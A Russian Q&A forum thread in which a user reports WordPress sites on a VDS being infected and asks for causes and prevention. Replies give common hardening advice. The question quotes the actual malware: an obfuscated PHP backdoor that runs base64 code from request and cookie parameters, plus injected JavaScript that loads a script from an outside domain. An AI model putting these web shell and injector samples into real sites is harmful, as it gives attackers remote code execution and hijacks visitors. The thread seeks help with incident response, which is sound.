@Bodrosh

Как устранить и не допустить появления в дальнейшем вируса WordPress?

Здравствуйте, недавно произошла следующая ситуация: Сайты расположены на VDS (около 7 шт.). В исходный код файлов index.php (а их довольно много, т.к. находятся в разных каталогах, как в теме, так и плагинах и др. местах), header.php и возможно другие, еще не все выявил - добавили скрипт sc_ript sr_c=https://dest.collectfasttracks.com/y.js'>/sc_ript, который перекидывает на др. сайты рекламы, права на эти файлы выставили 777, видно робот прошел по всем каталогам и подредактировал эти файлы.
в некоторых файлах вставки
<?php if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) { $a = chr(109).chr(110); 	$n1 = chr(102).chr(105).chr(108).chr(101).chr(95);$n2 = chr(112).chr(117).chr(116).chr(95);$n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; 	$z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); 	$z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); 	$z3 = $b2($_REQUEST[chr(100).chr(49)]); 	@$n3($a,$z2); 	@include($a);@unlink($a); 	$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; 	@$n3($a,$z2); 	@include($a);@unlink($a);die();  } if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];}  function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><?php


Эти ски еще напихали в js файлы
var jgfjfghkfdrse423 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,100,101,115,116,46,99,111,108,108,101,99,116,102,97,115,116,116,114,97,99,107,115,46,99,111,109,47,97,46,106,115); s.src=pl;


Кто-то сталкивался с этим? Какого типа мог быть взлом? Через уязвимости CMS (понятно, что через "левые" плагины, если такие есть) ? Как не допустить в дальнейшем?

Еще заметил такой момент: на VDS создано несколько пользователей, часть сайтов, которые взломаны - лежали внутри одного пользователя, а др. пользователи на первый взгляд не тронуты, получается, могли конкретного пользователя взломать и это уже взлом через сервер?

5e731d18988ad154029028.jpeg

Кто столкнется с проблемой, вот описание https://www.wordfence.com/blog/2020/02/multiple-at...
  • Вопрос задан
  • 566 просмотров
Решения вопроса 3
Kozack
@Kozack Куратор тега WordPress
Thinking about a11y
Я нахожу две наиболее вероятные причины взлома:
  1. Кривые руки пользователя (это и потенциально уязвимый код и пароли по типу "qwerty1234")
  2. Устаревшие компоненты, в которых нашли уязвимость.


Следовательно основные меры безопасности:
  • Следить за обновлениями ядра.
  • Следить за обновлениями плагинов.
  • Перед установкой любого плагина смотреть когда он последний раз обновлялся, какие версии ядра поддерживает.
  • Следить за компонентами ОС.
  • Регулярно или автоматически обновлять весь софт до актуальных версий.
  • Не создавать пользователя с логином admin
  • Не создавать пользователей с легкоподбираемыми паролями.
  • Не публиковать и не пересылать пароли в открытых каналах или на скриншотах от таких сервисов как prnt.sc и тп.
  • Не копировать и вставлять на сайт код, если вы не понимаете как он работает.


В качестве дополнительных мер можно:
  • Использовать какой-либо плагин для ограничения попыток входа
  • Установить двухфакторную аутентификацию.
Ответ написан
Комментировать
@Lord_Dantes
Если используете плагины не популярные или мало скачиваемые, может в них как раз и есть дыра в безопасности.

Что можно посоветовать?
Как минимум сменить пароли как максимум удалять все эти штуки вручную...
Ответ написан
Комментировать
solotony
@solotony
покоряю пик Балмера
сталкивался неоднократно. причина была одна - дыры в плагинах. помогает только полная пересборка сайта . (поиск уязвимостей как правило будет сложнее и дороже)

но в вашем случае VDS - так что дыра может быть где угодно. не имея навыков администрирования брать VDS - плохая идея.

- взять новый "чистый" хостинг (если есть возможность не использовать VDS -не используйте его
- пересобирать на нем сайты полностью "с 0", обязательно изолируя их друг от друга.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы